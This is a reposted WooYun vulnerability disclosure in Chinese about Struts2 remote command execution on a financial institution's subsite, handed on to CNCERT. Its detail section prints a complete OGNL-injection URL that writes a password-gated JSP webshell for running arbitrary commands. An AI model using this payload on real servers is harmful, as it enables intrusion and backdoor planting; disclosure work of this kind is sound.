神器而已之中国某大型金融机构分站业务命令执行

2017年4月30日03:43:34评论335 views字数 242阅读0分48秒阅读模式

摘要

2016-04-27：细节已通知厂商并且等待厂商处理中
2016-04-29：厂商已经确认，细节仅向厂商公开
2016-05-09：细节向核心白帽子及相关领域专家公开
2016-05-19：细节向普通白帽子公开
2016-05-29：细节向实习白帽子公开
2016-06-13：细节向公众公开

漏洞概要关注数(13) 关注此漏洞

缺陷编号： WooYun-2016-201656

漏洞标题：神器而已之中国某大型金融机构分站业务命令执行

漏洞作者：举起手来

提交时间： 2016-04-27 11:30

公开时间： 2016-06-13 18:40

漏洞类型：命令执行

危害等级：高

自评Rank： 20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： struts 远程命令执行

0人收藏

漏洞详情

披露状态：

简要描述：

不多说了，赶快上车

详细说明：

这个系统之前就有漏洞 http://**.**.**.**/bugs/wooyun-2016-0170697

据说很多敏感数据啊

code 区域

http://**.**.**.**:8091/logout.action?method:@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get%28%23a%29,%23b%3d%23req.getRealPath%28%23c%29%2b%23parameters.reqobj[2],%23fos%3dnew%**.**.**.**.FileOutputStream%28%23b%29,%23fos.write%28%23parameters.content[0].getBytes%28%29%29,%23fos.close%28%29,%23hh%3d%23context.get%28%23parameters.rpsobj[0]%29,%23hh.getWriter%28%29.println%28%23b%29,%23hh.getWriter%28%29.flush%28%29,%23hh.getWriter%28%29.close%28%29,1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%**.**.**.**.InputStream%20in%20%253d%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%253d%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%253d%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%253din.read%28b%29%29%21%253d-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E

最新的st2命令执行

漏洞证明：

借tangscan的工具验证了一下也没问题

修复方案：

升级

版权声明：转载请注明来源举起手来@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-29 18:33

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT发给中国银联，由其后续协调网站管理单位处置。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-04-27 11:30 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河为你放弃世界有何不可)

0

老司机带带我

1# 回复此人

漏洞概要 关注数(13) 关注此漏洞

缺陷编号： WooYun-2016-201656

漏洞标题： 神器而已之中国某大型金融机构分站业务命令执行

相关厂商： 中国某大型金融机构

漏洞作者： 举起手来